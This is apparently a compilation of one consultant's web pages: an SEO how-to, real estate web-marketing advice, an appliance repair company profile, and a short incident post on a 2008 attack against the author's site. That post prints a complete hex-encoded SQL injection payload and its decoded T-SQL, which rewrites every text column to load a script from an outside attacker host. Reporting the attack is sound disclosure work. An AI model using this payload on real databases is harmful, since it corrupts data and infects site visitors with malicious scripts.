Search Engine Optimization Recipes

by Steve Rezhener, Marketing and Business Development Consultant



Introduction



Step 1 :: Research IT

Keywords research is a way of finding relevant search terms that people are using while searching online. If your web site is about scholarships for example, you most likely will find search terms such as: college degree, degree cost, etc... Keywords research is an essential step, prior to building and implementing of your web site.

A fast & easy way of knowing what the "hot" keywords are is, to get them from existing and well established web sites. Web sites that are related to your web site industry, such as competitor's web sites could save you a lot of time and money. After all, you don't need to re-invent the bicycle - just copy the essentials and add your winning ingredients.

Keywords divided into two groups:

Online
Visible keywords are the words that appear on the web page that are visible to web visitors. Read everything on the page and pay close attention to the font formatting. Remember that, page headers, words with bold and italic formatting and “hyper-linked” text are considered more important to search engines than the rest of the text.
Offline
These keywords are not visible to Web visitors and exist for search engines only. They provide the necessary information for search engine about the relevancy of the web site to a particular Web search. Such keywords also called a “meta-keywords”.


Every web page consists of a code that is readable by browsers. These internet browsers “translate” this code into something that is readable by us, human-beings. Looking at the code before it’s get interpreted by a browser, reveals those invisible keywords. One of the ways of discovering this code, source code, is by right clicking with your mouse and selecting view source. Now, concentrate on words between: title, description, keywords.


Using most popular search engine's keyword suggestion tools can help you to generate your own keywords.


Some of keywords suggestion tools available on the Web:

Yahoo/Overture
http://inventory.overture.com/d/searchinventory/suggestion
Google Adwords
https://adwords.google.com/select/KeywordToolExternal
Wordtracker
http://freekeywords.wordtracker.com
Monster Web Links - results from Yahoo (Overture to be exact), Google, MSN and more
http://www.monsterweblinks.com/tools/yahoogoogleoutput.php
Step 2 :: Register IT

Every web site starts with registering a domain name. According to a Wikipedia, domain name is a name that identifies a computer or computers on the internet. Reserving or registering a domain name to be exact, starts with buying a domain name from a company that called a Domain Name Registrar. Domain Name Registrar companies are companies that certified by ICANN, an Internet Corporation for Assigned Names and Number. A detailed list of these companies can be found by clicking the following link - Domain Name Registrars.

Regularly, your domain name should have some degree of association with the services or products that your business is about to offer. Registering the "right" domain name for your web site is your top priority in this section. You should consider using your company name as a part of web site domain name, only in cases when your company name is a well known brand. If that is not the case, consider to construct a domain name of "hot" keywords that you found from a previous section.

Finding an excellent domain name that accompanied by the "right" top-level domain is your second top priority. According to a Wikipedia, a top-level domain (TLD) is the last part of an Internet domain name. For example, the top-level domain for www.google.com is com (usually referring to a commercial organization). According to Domain statistics provided by ICANN Wiki, the most commonly used TLD is .COM, with more than 72 million active domain names. Moreover, the .COM TLD is the most known top-level domain for the public. Therefore, .COM should be your only option of your domain name TLD, unless in your country your local TLD is more notorious.

Step 3 :: Visualize IT

Create a "visually fair" XHMTL/HTML template – template should not be "overloaded" with images, flash movies, etc… unless your web site is about arts or video. If that is not the case, it should contain about 90% text content and 10% "arts". Your template should be structured by the following sections:
TOP – could be an image that carries name, logo and contact details of your company. This section should also include links to important parts of your web site.
BOTTOM – if you TOP section's links build using JavaScript language; you must repeat your links using regular HTML hyperlinks, i.e. href tags. In addition it could also include company contact information. Every legit business should carry a physical address, phone and fax number and an email.
LEFT MIDDLE – most of the time this section would carry an index to all of web site's visible pages. This index could be arranged as tree of links. ASP.NET 2.0 comes with "almost" a built-in functionality.
RIGHT MIDDLE – most of time this section will include page content. Content will the text that relevant to the selected index from LEFT MIDDL section.

Step 4 :: Build IT

Create your first 2 pages. Re-use a previously created template by using ASP.NET 2.0 MasterPage feature. MasterPage comes with placement tags for content and template locations.

Step 5 :: Validate IT

Check for code validity on all of your web pages using World Wide Web Consortium web site. Clean and "spelled correctly" web pages are a perfect recipe for a "better" web site.


Check XHTML
http://validator.w3.org/check?uri=http%3A%2F%2Fwww.yourdomain.com%2F


Check CSS
http://jigsaw.w3.org/css-validator/validator?uri=www.yourdomain.com%2Fstyles%2Fstyle.css&usermedium=all


Check for Dead Links
http://validator.w3.org/checklink?uri=http%3A%2F%2Fwww.yourdomain.com


Check RSS feed
http://feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.yourdomain.com%2FRSSFeed.xml
Check you web server, IIS, SMTP and DNS settings
http://www.dnsreport.com/tools/dnsreport.ch?domain=yourdomain.com



Step 6 :: Sitemap IT

Create sitemap.xml, url-list.txt and sitemap.html for your site. You can accomplish this task by using a sitemap generator tool. One of easy and free example is: http://xml-sitemaps.com. Sitemap.xml and url-list.txt files represent an index for Google and Yahoo web spiders and allow them to "read" your web site easily. You will need to upload these files to you root web site directory. Don't forget to add a hyperlink to these pages.

Step 7 :: Submit it

Submit your web site to as many directories as possible. One of well known and free, but hard to get in to directories is DMOZ. If you web site is in a fair "built" condition, submit it to http://dmoz.org web directory.
If you have a budget of $US 500 per year, you should consider submitting your site into http://www.bussiness.com ($200/yr.) and https://ecom.yahoo.com/dir/submit/intro/ ($299/yr.) paid web directories.

Step 8 :: Webmaster IT

Google Sitemap

Create a Google Account
Verify web site ownership
Add a sitemap to your web site account (sitemap.xml).
Check Google WebMaster Tools page on a daily bases. Check external links and web site diagnostic tabs.
* You can also notify ("ping") Google crawler (Google Bot) about changes on your web site
http://www.google.com/webmasters/sitemaps/ping?sitemap=http://www.yourdomain.com/sitemap.xml


Yahoo Site Explorer

Create a Yahoo Account
Verify web site ownership
Add sitemap to your web site account (url-list.txt).
* You can also notify ("ping") Yahoo crawler (Yahoo Slurp) about changes on your web site
http://search.yahooapis.com/SiteExplorerService/V1/updateNotification?appid=yourAPPID&url=http://www.yourdomain.com

Step 9 :: Content IT

Create as much content as possible. You can consider U.S. government web sites as a fast and still a legal way to aggregate informative content for your web site. Most of U.S. government internet content is royalty free (exceptions will be a U.S. Postal Office and State web sites). Look for copyright (©) sign.

Step 10 :: Optimize IT

Most of your web site content, links labels, files names, image "alts" and META keys MUST have usage of keywords that were researched. Revisit you web site and change accordingly.

Step 11 :: Logs IT

Read you web site logs. Analyze how, from where your web site's visitors are coming. It will be very useful, if you can also see a robot's (web crawlers) visits too. One of sophisticated tools that you can consider is Google Analytics (a.k.a. Urchin). Get Google Analytics Key and add a META key or a JavaScript code to your web site's web pages that you would like to track.


Step 12 :: Link Exchange IT

You should exchange links with other industry relevant web sites. Create a links page, with links to other web sites that are linking to your web site. Link exchange strategy should be implemented for any web site that runs a similar type of business or even a direct competition (most likely that is not going to happen).

Step 13 :: Business Center IT

If your business resides in U.S., you can take an advantage of a free service that offered by Google. This service called a Local Business Center. Local Business Center service is a service that let’s Google to map businesses to their geographic locations (uses Google Maps). By doing that, Google can provide more relevant information for local searches. Local searches are searches where one of the keywords is a specific geographic location. Search results for a hair salon in Odessa Texas, for example, will be more relevant when both hair salon and Odessa Texas keywords. Furthermore, hair salons that located in Odessa, Texas would be a perfect match. Registering your business in Local Business Center increases your web site chances for showing up for local searches.



Step 14 :: Alert IT

Google Alerts service - coming soon ...





Step 15 :: Blog IT

Blogger - coming soon ...



Step 16 :: Everyday IT

Try to repeat sections 7, 8, 9, 10, 11, 12 on a daily basis.

PERSONAL NOTE

This article is based on my technical background as a Software Developer and on-hands Search Engine Optimization experience.



DISCLAIMER

All trademarks belong to their respective holders. The absence of a product or service name or logo belonging to respective companies does not constitute a waiver of their trademark or other intellectual property rights concerning that name or logo. All other products, logos, and brand names are trademarks and/or registered trademarks of their respective companies.


© Copyright 2007 Steve Rezhener

Questions, comments and suggestions: steve.rezhener@gmail.com

Website Security Threats

Following recent (8/27/2008 to be exact) scripting attack on our web site http://www.promptserviceappliance.com, I decided to expand little bit about website attacks and how to prevent them. Fore and foremost, my assumption is that you're either a web application developer/programmer or a person that is not new to a software development. If you're however a newbie or have any question or comments, do not hesitate and post them.

SQL Injection attack
Posted to page to be consumed by web application that reads a query string:
http://www.promptserviceappliance.com/m_Resources.aspx?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
Decrypted
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM

Attackers details:
URL http://www0.douhunqn.cn
Created: 2007-12-19
Expires: 2008-12-19
Whois Server: whois.cnnic.net.cn
IP Address: 61.176.193.16
IP Location: China - Liaoning - Shenyang - Cncgroup Liaoning Province Network

Redefining real estate e-marketing standards

by Steve Rezhener, Marketing and Business Development Consultant

Marketing strategies in the past

Marketing strategies for real estate agents were always the same: print tons of fliers, put out more newspaper ads - a typical numbers game. The more phone calls, fliers and newspaper ads you're doing, the more chances you have to pick up new clientele. However, in our 21st century, full of new technologies, these strategies are likely to fade away. These tools are becoming obsolete for reaching a bigger and broader audience of seller and buyers.

Based on the latest market analysis by the National Association of Realtors (N.A.R.), 80% of buyers used the Internet to help find a home. Amazingly, only 15 years ago that wasn't possible. Information on properties wasn't available to the public, since all listed properties were stored in printed multi-listing system books. Buyers didn't have any choice, but to get help from licensed agents. Back in those days, looking for properties took a lot of energy and required more than a regular "real estate" license. Agents had to remember various codes that Multi Listings Service (MLS) companies were using. For example, agents needed to memorize that property type CONDO1 represents a condominium with 1 bedroom. In addition, agents were required to page through heavy hard cover MLS books. Both of the previously mentioned skills were often described as "dealer maker" qualities. Sellers and buyers were blind to these books and only agents had the power of knowledge. This all happened of course, before the WWW era.

Marketing strategies nowadays

Nowadays, the same information is found on thousands of real estate web sites. Customers are given the power of knowledge. According to the California Association of Realtors (C.A.R.), nearly half of the REALTORS® said that their business originates from Internet. In our "Google this" age, more consumers are spending their time online to do their own due-diligence prior to looking for a real estate professional. Real estate market customers ask for more information that is publicly available from anywhere and at any time.

Introduction of public Internet access greatly contributed to this change. Internet users started to ask for everything with the "click of a button". This eventually pushed local MLS companies to change their rules regarding sharing listing data. With MLS changing their rules, real estate professionals were given the opportunity to own their own listings portal - their own web site. In the beginning, the only adapters of the new technology were big brokerage firms. As the years went by, technological advancements and high demand reduced the cost of ownership. From this very moment, having a web site became a standard for every real estate agent. Furthermore, having a Web site became as much of a necessity as having a cell phone.

Benefits of today's tools/strategies

The major shift to "e-shopping", is benefiting all involved parties in a real estate transaction:

1. Buyers are spending less time to look for listed properties. They can find available properties on a user-friendly Listing Search web page that offers access to hundreds of listings based on search criteria. Select city, state and optional bedrooms and bathrooms and wait for the listings. Clicking on a particular listing that got your attention, will bring more detailed information about this property. Most of the time a regular listing information will be accompanied by:
   • property photos
   • virtual tours
   • quick loan calculator
   • community information
   • comparable sales
   • local schools
   • property on the map
   • send an email to the agent
   • an option to schedule a showing with the listing agent
2. Sellers are benefiting from faster transactions, since every listed property transforms to a property that is visible on "every block". Since most of the web sites are taking their listing data from the same centralized data center, such as MLS, a listing that is uploaded to MLS will turn up on all sites that are sharing the same MLS data. More exposure, of course, means more prospects and a faster sale.
3. Agents are taking advantage of lower marketing costs. No longer do agents need to rely on expensive fliers and newspaper campaigns, since the cost of electronic media is much more affordable than its "hard-paper" rival.

Today's standards for a web site

To accommodate e-commerce growing needs, real estate professional agents required knowledge that associated with building web sites. This required a prior knowledge of various computer related technologies such as: domain name registration, web hosting, web design and much more. Luckily for them, a variety of Web services companies came up to fill up these growing needs. These tech-oriented companies made it easy for real estate agents to maintain, update listings, and even to keep their web site complaint with most recent MLS rules. Agents that took advantage of such professional help were given more time to represent their clients in real estate transactions.

Agents and web service companies, the demand and supply of real estate industry, created some "must-to-have" features in the industry. These features became the foundation of any web site that each web site should follow:

1. Fair graphic design of web site's pages
2. Convenient and easy of web site navigation
3. Web page that offer to search for available listed properties
4. Property detailed description that features agents that own the web site
5. Option to customize different personal and office details: photos, email accounts, phone numbers, etc...
6. Automated email notifications feature that sends listed properties information as soon as they become available on the market to a specified email address.
7. Free Real Estate industry reports
8. Real estate news

New standards for a web site

Starting from 2004, web site strategies changed and just a having a web site became irrelevant. Having a web site and having a web site that translates to leads, are two totally different ball games. Since the introduction of the first real estate web site, the Internet has greatly changed. Real estate web sites started to pop-up like mushrooms in a rainy forest. A world full of real estate-related web sites, signaled that competition for Internet visitors had began.

Fortunately, using five marketing tools bundled with your web site can definitely reduce your marketing efforts and give your web site greater exposure. These tools are FREE to use and easy to integrate with your existing web site. These extra features in addition to your current web site are going to create new industry standards.

• Interactive Maps

Providing potential buyers with detailed property information is vital for successful real estate transactions. Eventually, a buyer that contacts an agent after reviewing all available information becomes a more qualified buyer. Supplying property address look-up on a regional map helps buyers to decide about the location of the property. Such look-up feature provides customers with additional information such as: cross streets, freeways, parks and more.

A web site that is designed to embed "mapped" property instead of redirecting visitors to another web site is a key selling point of this feature. "Redirecting" has a negative impact on Internet users' attention. Unfortunately, once the other web site is grabbing users' attention, users tend to lose any interest in your web site. A range of "Map" products from different companies like Google, Yahoo and Microsoft are able to deliver interactive maps that can be navigated by dragging the mouse and zoom in/out using the mouse wheel to see detailed street information.

• Web site Analytics

With Web site Analytics, agents can find out what keywords attract their most desirable prospects, what advertising copy pulled the most responses, and what landing pages and content make the most money for them. In addition, they will be able to track all online campaigns, from emails to keywords, regardless of search engine or referral source.

Google Analytics is considered one of the successful tools on the market and yet it is free, and it offers enterprise-class web analytics. It allows web site owners to track the effectiveness of their online marketing activities and helps to optimize the content and layout of their website. Out-of-the-box functionality includes conversion goals, funnel path analysis, Google AdWords integration and e-commerce tracking. The goal of Google Analytics is to empower you with information to maximize your marketing ROI and increase website conversions.

• Search engine exposure / recognition

One of the many benefits of a well-known brand's web sites such as, RE/MAX (www.remax.com) and Realtor (www.realtor.com) is brand recognition. A brand that is recognized by customers often becomes associated with "products of desire". Regular customers will go directly to the realtor.com web site, when looking for a Realtor. Others alternatively, are going to www.remax.com to look for properties. Of course, a regular real estate agent with a limited budget and a 2-3 year old web site can't compete with such companies. Customers are not going to hit his/her web site, since they don't know about its existence.

One of the many ways to tell the world about your web site is by using search engines. Search engines are sophisticated creatures that are able to find relevant resources on the Web. Becoming one of the registered or indexed resources is one the keys for your web site success. According to comScore, an Internet information provider, search engine market is held by 5 major search engines: Google, Yahoo, MSN, AOL and Ask. Since AOL search results are almost completely based on Google search engine results, we count only 4 search engines. Making your web site recognized by these search engines gives your web site greater exposure by improving placement for specific keywords. Greater exposure, of course, translates to more phone calls and emails from prospects.

Recent adoption of sitemap specifications by the "big 4" greatly reduced indexing efforts. Sitemap is a page that lists the pages on a web site, typically organized in hierarchical fashion. Sitemaps can improve search engine optimization of a site by making sure that all the pages can be found. Just 30 minutes, that is what it takes to make your web site ready to be indexed. This is the maximum time that it takes to create Sitemap file, create a reference to it and upload these changes to your web hosting account.

Additionally, webmaster tools such as Google Webmaster Tools and Yahoo Site Explorer, offers help to diagnose problems and improve your site’s visibility.

• Real Estate Blogs

Thousands of real estate bloggers can't be wrong. RE blogs become the added value in real estate industry and let's you quickly post thoughts, interact with people, and more. Real estate professionals can position themselves as industry experts and interact with prospects. According to Pew Internet & American Life Project, 44% of U.S. Internet users have contributed their thoughts and their files to the online world.

In addition, running blogs is also good for your search engine marketing, since search engines are on a continuous-run to add unique content. Given that most of the blog platform available on the market are search engine friendly, your written content becomes visible faster and easier. Visible to search engines, blog options such as RSS feed subscription and URL track-backs will constantly promote you web site.

One of the respectable choices for blog platform on the market is Blogger. Blogger offers FREE and easy blog management tools for those who are not tech-savvy. Furthermore, with the addition of hundreds of web-templates to choose from, your blog can get a unique look that it deserves. Since your blog will be hosted by Blogger, you don't need to have a web site to have a blog. And finally, given that Blogger was recently acquired by Google, you can count on better exposure on Google search engine results.

• Virtual Tours and Video Profiles

One of the latest technology contributors to sales is the virtual reality tour. "Virtual tours" offer buyers a much greater user experience than just regular property pictures. Buyers are more likely to visit the homes and are more ready to buy than their more traditional counterparts. Based on Real Networks, a provider of Internet media delivery software and services, web visitors stay on a site 75 percent longer when the site includes video. The majority of these web visitors will watch the videos on the site. This number is even greater and closer to 100 percent, for professional web site such real estate web sites.

Uploaded video to a highly successful web site such as YouTube creates a world full of possibilities. Since every video comes with YouTube profile that can include a web site, video viewers that liked your video will most likely follow to your web site. In addition, you will save money by receiving a free movie hosting from YouTube. Furthermore, linking to your video has never been easier - YouTube provides you with necessary code that links to your video. And of course, one of the biggest advantages of YouTube is its growing popularity. Your uploaded video, becomes searchable on YouTube Search and even on Google Search.

PERSONAL NOTE

This article is based on my technical background as a Software Developer, a California licensed Real Estate agent and my working experience for a company that is one of the leading providers of Web Services for Real Estate agents.

DISCLAIMER

All trademarks belong to their respective holders. The absence of a product or service name or logo belonging to respective companies does not constitute a waiver of their trademark or other intellectual property rights concerning that name or logo. All other products, logos, and brand names are trademarks and/or registered trademarks of their respective companies.

© Copyright 2007 Steve Rezhener

Questions, comments and suggestions: steve.rezhener@gmail.com

Appliance Repair and Service, Sales - Air Conditioning & Heating

"Don't be nervous - call Prompt Service!"
Prompt Service
1688 Cordova St.,
Los Angeles, CA 90007
Phone: 323-7308910 Fax: 323-7308150
Web: http://www.promptserviceappliance.com/
Email: info@promptserviceappliance.com

Family-owned and operated Business
Prompt Service is a family-owned and operated appliance company based out of Los Angeles, California. We specialize in repair and service, installation and maintenance, sales of air conditioning and heating units, all major home and kitchen appliances, including most brands and models.

Permits and Insurances
Prompt Service is licensed by State of California, insured and bonded member of Better Business Burea.

Customer Satisfaction and Reputation
Prompt Service has been serving satisfied repeat customers since 1998. We have a long-standing reputation for quality service, performed by qualified and factory-authorized professional technicians, at reasonable prices. See our Customer Testimonials page.

Experience and Knowledge
Today's appliance repair work demands a high level of skill and a comprehensive understanding of a variety of mechanical, electrical and electronic systems. Our technicians are trained and competent in these skills, and are experienced in the repair of the air conditioners and heaters, finest major appliances, kitchen and laundry equipment.

Training and Certification
It takes special training and certification to become a factory-authorized appliance repair company. Prompt Service is proud to be able to offer its clients the highest level of factory-authorized service, by qualified professional technicians. Whether your appliance is still covered by a warranty or not, you can be sure that our skilled technicians can perform the required repairs to the highest industry standards.

Industry and Technology
Prompt Service also stays informed of industry and technology changes to ensure you of the highest quality service and repairs. You can count on us to know about the latest service bulletins issued by the appliance manufacturers.

Request a Service Appointment Online

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